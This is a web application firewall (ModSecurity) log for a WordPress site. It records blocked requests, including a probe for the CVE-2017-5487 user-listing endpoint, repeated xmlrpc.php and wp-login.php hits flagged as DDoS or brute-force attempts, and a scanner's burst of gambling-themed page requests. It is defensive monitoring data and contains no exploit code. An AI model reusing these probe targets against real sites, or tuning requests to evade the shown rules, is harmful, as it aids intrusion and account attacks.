[Wed May 06 08:34:14.492385 2026] [:error] [pid 9789:tid 9810] [client 114.119.134.93:44671] [client 114.119.134.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afqMhj_YStPJSCHPkUUGygAAAFM"]
[Wed May 06 08:36:02.774893 2026] [:error] [pid 13443:tid 13461] [client 114.119.130.102:38641] [client 114.119.130.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afqM8gCyfZallDmsQrdbxgAAAVA"]
[Wed May 06 08:37:35.147455 2026] [:error] [pid 13414:tid 13427] [client 114.119.134.93:44673] [client 114.119.134.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afqNT0uJQpWjVpJTu_nXFQAAAQs"], referer: http://www.gigfragments.org/
[Wed May 06 08:39:05.394263 2026] [:error] [pid 13414:tid 13426] [client 114.119.149.109:21619] [client 114.119.149.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afqNqUuJQpWjVpJTu_nXWgAAAQo"], referer: http://www.gigfragments.org/
[Wed May 06 08:40:48.299205 2026] [:error] [pid 9653:tid 9711] [client 114.119.142.124:51419] [client 114.119.142.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afqOEKhJ49Xc4dqq0B5ecAAAAA0"], referer: http://www.gigfragments.org/
[Wed May 06 08:42:30.676940 2026] [:error] [pid 13443:tid 13445] [client 114.119.135.32:28787] [client 114.119.135.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afqOdgCyfZallDmsQrddTwAAAUA"], referer: http://gigfragments.org/
[Wed May 06 08:43:53.984810 2026] [:error] [pid 9653:tid 9714] [client 114.119.144.229:51561] [client 114.119.144.229] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afqOyahJ49Xc4dqq0B5ewwAAABA"], referer: http://gigfragments.org/
[Wed May 06 08:45:22.365126 2026] [:error] [pid 13414:tid 13423] [client 114.119.144.229:51563] [client 114.119.144.229] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afqPIkuJQpWjVpJTu_nYlQAAAQc"], referer: http://gigfragments.org/
[Wed May 06 10:25:06.097560 2026] [:error] [pid 13443:tid 13463] [client 184.75.221.107:42016] [client 184.75.221.107] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afqmggCyfZallDmsQrdxQQAAAVI"], referer: https://www.google.com
[Wed May 06 10:31:36.325625 2026] [:error] [pid 13443:tid 13448] [client 109.175.46.66:64374] [client 109.175.46.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.175.46.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afqoCACyfZallDmsQrdzPwAAAUM"]
[Wed May 06 10:31:45.773357 2026] [:error] [pid 13443:tid 13446] [client 109.175.46.66:64700] [client 109.175.46.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.175.46.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afqoEQCyfZallDmsQrdzTAAAAUE"]
[Wed May 06 10:31:56.319958 2026] [:error] [pid 13414:tid 13429] [client 109.175.46.66:65058] [client 109.175.46.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.175.46.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afqoHEuJQpWjVpJTu_npsgAAAQ0"]
[Wed May 06 10:32:06.862664 2026] [:error] [pid 63810:tid 63815] [client 109.175.46.66:65414] [client 109.175.46.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.175.46.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afqoJnpnbsN9Zf6i5IEXbwAAAYE"]
[Wed May 06 10:32:17.351089 2026] [:error] [pid 9659:tid 9738] [client 109.175.46.66:49380] [client 109.175.46.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.175.46.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afqoMfwJnWjd8JHpBttQTwAAAMQ"]
[Wed May 06 11:05:17.186471 2026] [:error] [pid 557:tid 582] [client 167.99.248.70:51612] [client 167.99.248.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.99.248.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afqv7TZjFR8Vd8ce80ARnwAAAlc"]
[Wed May 06 11:05:19.571687 2026] [:error] [pid 13414:tid 13429] [client 167.99.248.70:53553] [client 167.99.248.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.99.248.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afqv70uJQpWjVpJTu_ntbQAAAQ0"]
[Wed May 06 12:44:09.508747 2026] [:error] [pid 9653:tid 9700] [client 119.28.89.249:50992] [client 119.28.89.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afrHGahJ49Xc4dqq0B6JqAAAAAI"]
[Wed May 06 12:51:11.943035 2026] [:error] [pid 9789:tid 9809] [client 51.83.7.81:47316] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "afrIvz_YStPJSCHPkUVAMgAAAFI"]
[Wed May 06 12:51:13.910864 2026] [:error] [pid 557:tid 568] [client 51.83.7.81:60992] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "afrIwTZjFR8Vd8ce80AVbgAAAkk"]
[Wed May 06 12:51:15.923254 2026] [:error] [pid 482:tid 494] [client 51.83.7.81:32768] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "afrIw8xs8HOc_nWgOW7eZgAAAco"]
[Wed May 06 12:51:17.781114 2026] [:error] [pid 9789:tid 9804] [client 51.83.7.81:32780] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "afrIxT_YStPJSCHPkUVAMwAAAE0"]
[Wed May 06 12:51:19.824292 2026] [:error] [pid 482:tid 502] [client 51.83.7.81:32788] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "afrIx8xs8HOc_nWgOW7edwAAAdI"]
[Wed May 06 12:51:21.685155 2026] [:error] [pid 9664:tid 9766] [client 51.83.7.81:32804] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "afrIyQH4OZbrg1SjsBMEdQAAAIQ"]
[Wed May 06 12:51:23.702622 2026] [:error] [pid 482:tid 508] [client 51.83.7.81:37222] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afrIy8xs8HOc_nWgOW7ehQAAAdY"]
[Wed May 06 12:51:25.722695 2026] [:error] [pid 482:tid 502] [client 51.83.7.81:37226] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "afrIzcxs8HOc_nWgOW7ejgAAAdI"]
[Wed May 06 12:51:27.581085 2026] [:error] [pid 13414:tid 13425] [client 51.83.7.81:37236] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afrIz0uJQpWjVpJTu_n1SQAAAQk"]
[Wed May 06 12:51:29.597367 2026] [:error] [pid 13414:tid 13426] [client 51.83.7.81:37244] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "afrI0UuJQpWjVpJTu_n1TQAAAQo"]
[Wed May 06 12:51:31.622554 2026] [:error] [pid 13414:tid 13422] [client 51.83.7.81:37246] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "afrI00uJQpWjVpJTu_n1UwAAAQY"]
[Wed May 06 12:51:33.519975 2026] [:error] [pid 482:tid 498] [client 51.83.7.81:44634] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "afrI1cxs8HOc_nWgOW7enwAAAc4"]
[Wed May 06 12:51:35.518989 2026] [:error] [pid 482:tid 490] [client 51.83.7.81:44644] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "afrI18xs8HOc_nWgOW7epgAAAcY"]
[Wed May 06 12:51:37.530001 2026] [:error] [pid 9664:tid 9773] [client 51.83.7.81:44646] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "afrI2QH4OZbrg1SjsBMEewAAAIs"]
[Wed May 06 12:51:39.396595 2026] [:error] [pid 9659:tid 9758] [client 51.83.7.81:44648] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "afrI2_wJnWjd8JHpBttdXwAAANg"]
[Wed May 06 12:51:41.406919 2026] [:error] [pid 557:tid 566] [client 51.83.7.81:44650] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "afrI3TZjFR8Vd8ce80AVdAAAAkc"]
[Wed May 06 12:51:43.420345 2026] [:error] [pid 9789:tid 9797] [client 51.83.7.81:60008] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afrI3z_YStPJSCHPkUVAQQAAAEY"]
[Wed May 06 12:51:45.439504 2026] [:error] [pid 482:tid 500] [client 51.83.7.81:60016] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "afrI4cxs8HOc_nWgOW7esQAAAdA"]
[Wed May 06 12:51:47.441720 2026] [:error] [pid 9664:tid 9772] [client 51.83.7.81:60032] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "afrI4wH4OZbrg1SjsBMEhQAAAIo"]
[Wed May 06 12:51:49.438600 2026] [:error] [pid 9789:tid 9791] [client 51.83.7.81:60036] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "afrI5T_YStPJSCHPkUVAWQAAAEA"]
[Wed May 06 12:51:51.455613 2026] [:error] [pid 482:tid 484] [client 51.83.7.81:60040] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "afrI58xs8HOc_nWgOW7euwAAAcA"]
[Wed May 06 12:51:53.452878 2026] [:error] [pid 13414:tid 13417] [client 51.83.7.81:50694] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afrI6UuJQpWjVpJTu_n1dQAAAQE"]
[Wed May 06 12:51:55.454725 2026] [:error] [pid 482:tid 490] [client 51.83.7.81:50704] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "afrI68xs8HOc_nWgOW7evgAAAcY"]
[Wed May 06 12:51:57.452327 2026] [:error] [pid 13414:tid 13426] [client 51.83.7.81:50708] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "afrI7UuJQpWjVpJTu_n1dwAAAQo"]
[Wed May 06 12:51:59.460004 2026] [:error] [pid 9653:tid 9710] [client 51.83.7.81:50714] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afrI76hJ49Xc4dqq0B6LrwAAAAw"]
[Wed May 06 12:52:01.457466 2026] [:error] [pid 9653:tid 9718] [client 51.83.7.81:50726] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "afrI8ahJ49Xc4dqq0B6LsgAAABQ"]
[Wed May 06 12:52:03.459642 2026] [:error] [pid 9664:tid 9772] [client 51.83.7.81:50192] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "afrI8wH4OZbrg1SjsBMEjwAAAIo"]
[Wed May 06 12:52:05.314935 2026] [:error] [pid 482:tid 502] [client 51.83.7.81:50198] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "afrI9cxs8HOc_nWgOW7ezgAAAdI"]
[Wed May 06 12:52:07.317515 2026] [:error] [pid 9664:tid 9775] [client 51.83.7.81:50210] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "afrI9wH4OZbrg1SjsBMElQAAAI0"]
[Wed May 06 13:17:40.409510 2026] [:error] [pid 482:tid 507] [client 120.28.221.118:58489] [client 120.28.221.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.28.221.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afrO9Mxs8HOc_nWgOW7nnQAAAdU"]
[Wed May 06 13:17:50.746328 2026] [:error] [pid 482:tid 493] [client 120.28.221.118:59019] [client 120.28.221.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.28.221.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afrO_sxs8HOc_nWgOW7nsgAAAck"]
[Wed May 06 13:18:00.734461 2026] [:error] [pid 9789:tid 9796] [client 120.28.221.118:59395] [client 120.28.221.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.28.221.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afrPCD_YStPJSCHPkUVF0AAAAEU"]
[Wed May 06 13:18:12.150219 2026] [:error] [pid 13414:tid 13423] [client 120.28.221.118:59761] [client 120.28.221.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.28.221.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afrPFEuJQpWjVpJTu_n38AAAAQc"]
[Wed May 06 13:18:26.023785 2026] [:error] [pid 9789:tid 9813] [client 120.28.221.118:60120] [client 120.28.221.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.28.221.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afrPIj_YStPJSCHPkUVGAQAAAFY"]
[Wed May 06 13:24:08.126066 2026] [:error] [pid 9659:tid 9757] [client 195.201.199.99:37192] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afrQePwJnWjd8JHpBtthHgAAANc"]
